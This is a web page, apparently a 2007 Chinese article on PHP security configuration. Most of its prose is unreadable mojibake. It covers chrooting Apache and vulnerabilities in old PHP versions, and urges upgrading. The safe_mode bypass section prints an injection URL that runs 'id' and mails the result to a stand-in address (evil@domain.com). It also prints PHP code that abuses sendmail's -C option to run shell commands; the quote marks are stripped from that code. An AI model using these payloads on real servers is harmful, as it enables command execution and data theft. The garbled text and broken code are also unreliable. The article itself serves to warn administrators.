ƵµÀÖ±´ï - רÌâ - ÐÂÎÅ - »ù´¡ - ¸ß¼¶ - °²×° - ¼¼ÇÉ - Êý¾Ý¿â - ÊÖ²á - PHP - Linux - Java - MySQL - Apache - ÂéÀ±Ìà - ÀÇÃË - RailsÉçȺ - ËÑË÷ - ÏÂÔØ - ¿ªÔ´ - ÂÛ̳
PHP¿ª·¢×ÊÔ´Íø Ö÷Ò³>>PHP»ù´¡½Ì³Ì>> ÊղشËÎÄ | Êղر¾Õ¾ | ÉèΪÊ×Ò³

PHP°²È«ÅäÖÃ֮ʵÏÖ°²È«µÄÁ½¸öÖØµã

À´Ô´:www.phpres.com ×÷ÕߣºAngelover ³ö´¦£ºwww.phpres.com 2007-8-2 19:27:27 ½øÈëÌÖÂÛ×é
¹Ø ¼ü ´Ê£º °²È« ÖØµã Á½¸ö ÅäÖà ʵÏÖ PHP fd °æ±¾ mail ´æÔÚ ·þÎñÆ÷

Ò»¡¢Web·þÎñÆ÷°²È«

¡¡¡¡PHPÆäʵ²»¹ýÊÇWeb·þÎñÆ÷µÄÒ»¸öÄ£¿é¹¦ÄÜ£¬ËùÒÔÊ×ÏÈÒª±£Ö¤Web·þÎñÆ÷µÄ°²È«¡£µ±È»Web·þÎñÆ÷Òª°²È«ÓÖ±ØÐëÊÇÏȱ£Ö¤ÏµÍ³°²È«£¬ÕâÑù¾Í³¶Ô¶ÁË£¬ÎÞÇîÎÞ¾¡¡£PHP¿ÉÒԺ͸÷ÖÖWeb·þÎñÆ÷½áºÏ£¬ÕâÀïÒ²Ö»ÌÖÂÛApache¡£·Ç³£½¨ÒéÒÔchroot·½Ê½°²×°Æô¶¯Apache£¬ÕâÑù¼´Ê¹ApacheºÍPHP¼°Æä½Å±¾³öÏÖ©¶´£¬ÊÜÓ°ÏìµÄÒ²Ö»ÓÐÕâ¸ö½ûïÀµÄϵͳ£¬²»»áΣº¦Êµ¼Êϵͳ¡£µ«ÊÇʹÓÃchrootµÄApacheºó£¬¸øÓ¦ÓÃÒ²»á´øÀ´Ò»¶¨µÄÂé·³£¬±ÈÈçÁ¬½Ómysqlʱ±ØÐëÓÃ127.0.0.1µØÖ·Ê¹ÓÃtcpÁ¬½Ó¶ø²»ÄÜÓÃlocalhostʵÏÖsocketÁ¬½Ó£¬ÕâÔÚЧÂÊÉÏ»áÉÔ΢²îÒ»µã¡£»¹ÓÐmailº¯Êý·¢ËÍÓʼþÒ²ÊǸöÎÊÌ⣬ÒòΪphp.iniÀïµÄ£º

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
¡¡¡¡¶¼ÊÇÕë¶ÔWin32ƽ̨£¬ËùÒÔÐèÒªÔÚchroot»·¾³Ïµ÷ÕûºÃsendmail¡£

¡¡¡¡¶þ¡¢PHP±¾ÉíÎÊÌâ

¡¡¡¡1¡¢Ô¶³ÌÒç³ö

¡¡¡¡PHP-4.1.2ÒÔϵÄËùÓа汾¶¼´æÔÚÎļþÉÏ´«Ô¶³Ì»º³åÇøÒç³ö©¶´£¬¶øÇÒ¹¥»÷³ÌÐòÒѾ­¹ã·ºÁ÷´«£¬³É¹¦Âʷdz£¸ß.

¡¡¡¡2¡¢Ô¶³Ì¾Ü¾ø·þÎñ

¡¡¡¡PHP-4.2.0ºÍPHP-4.2.1´æÔÚPHP multipart/form-data POSTÇëÇó´¦ÀíÔ¶³Ì©¶´£¬ËäÈ»²»ÄÜ»ñµÃ±¾µØÓû§È¨ÏÞ£¬µ«ÊÇÒ²ÄÜÔì³É¾Ü¾ø·þÎñ¡£

¡¡¡¡3¡¢safe_modeÈÆ¹ý©¶´

¡¡¡¡»¹ÓÐPHP-4.2.2ÒÔϵ½PHP-4.0.5°æ±¾¶¼´æÔÚPHP mailº¯ÊýÈÆ¹ýsafe_modeÏÞÖÆÖ´ÐÐÃüÁî©¶´£¬4.0.5°æ±¾¿ªÊ¼mailº¯ÊýÔö¼ÓÁ˵ÚÎå¸ö²ÎÊý£¬ÓÉÓÚÉè¼ÆÕß¿¼ÂDz»ÖÜ¿ÉÒÔÍ»ÆÆsafe_modeµÄÏÞÖÆÖ´ÐÐÃüÁî¡£ÆäÖÐ4.0.5°æ±¾Í»ÆÆ·Ç³£¼òµ¥£¬Ö»ÐèÓ÷ֺŸô¿ªºóÃæ¼ÓshellÃüÁî¾Í¿ÉÒÔÁË£¬±ÈÈç´æÔÚPHP½Å±¾evil.php£º

¡¡¡¡Ö´ÐÐÈçϵÄURL£º

http://foo.com/evil.php?bar=;/usr/bin/id¡¡mail evil@domain.com

¡¡¡¡Õ⽫idÖ´ÐеĽá¹û·¢Ë͸øevil@domain.com¡£

¡¡¡¡¶ÔÓÚ4.0.6ÖÁ4.2.2µÄPHPÍ»ÆÆsafe_modeÏÞÖÆÆäʵÊÇÀûÓÃÁËsendmailµÄ-C²ÎÊý£¬ËùÒÔϵͳ±ØÐëÊÇʹÓÃsendmail¡£ÈçϵĴúÂëÄܹ»Í»ÆÆsafe_modeÏÞÖÆÖ´ÐÐÃüÁ

¡¡¡¡#×¢Ò⣬ÏÂÃæÕâÁ½¸ö±ØÐëÊDz»´æÔڵ쬻òÕßËüÃǵÄÊôÖ÷ºÍ±¾½Å±¾µÄÊôÖ÷ÊÇÒ»Ñù£º

$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?£¾
¡¡¡¡»¹ÊÇʹÓÃÒÔÉÏÓÐÎÊÌâ°æ±¾PHPµÄÓû§Ò»¶¨Òª¼°Ê±Éý¼¶µ½×îа汾£¬ÕâÑù²ÅÄÜÏû³ý»ù±¾µÄ°²È«ÎÊÌâ¡£»¶Ó­½øÈëPHP¿ª·¢×ÊÔ´ÂÛ̳ÌÖÂÛ¡£
¡¾ÊղشËÎÄ¡¿¡¾´ó ÖРС¡¿¡¾´òÓ¡¡¿¡¾¹Ø±Õ¡¿
Ïà¹ØÎÄÕÂ
ͼÎÄÍÆ¼ö
ÂÛ Ì³ ×Ê Ô´
PHP¿ª·¢×ÊÔ´Íø·Ü¶·Ä¿±ê
ÔĶÁÅÅÐУº
ÈÈÃż¼ÊõÎĵµ
×îÐÂͼÎĵµ
±¾Õ¾±à¼­ÍƼö:(±¾Õ¾¿ªÍ¨Delphi4PHP×¨Çø£¬»¶Ó­½øÈëÂÛ̳½»Á÷£¡)
±à¼©×î½ü¸üÐÂÎÄÕÂ
ÍøÕ¾ÔÞÖúÉÌ
ËÑË÷Äú¸ÐÐËȤµÄÄÚÈÝ
 
  ¡¡ÍøÕ¾Ê×Ò³¡¡- ¡¡ÍøÕ¾µØÍ¼¡¡- ¡¡ÍøÕ¾ºÏ×÷¡¡- ¡¡ÊÖ²áÖÐÐÄ¡¡- ¡¡Í¨ÓÃÍøÖ·¡¡- ¡¡ÍøÕ¾ÂÛ̳¡¡- ¡¡ÍøÕ¾Í¶¸å¡¡- ¡¡ÓÑÇéÁ´½Ó¡¡- ¡¡°ïÖúÖÐÐÄ
°æÈ¨ËùÓУºPHP¿ª·¢×ÊÔ´Íø © 2003-2008 ͨÓÃÍøÖ·:PHP×ÊÔ´Íø ºÏ×÷ýÌå: ÈüµÏÍøIT¼¼Êõ
»¥ÁªÍøÎ¥·¨ºÍ²»Á¼ÐÅÏ¢¾Ù±¨ÖÐÐÄ | ²»Á¼ÐÅÏ¢¾Ù±¨ÐÅÏä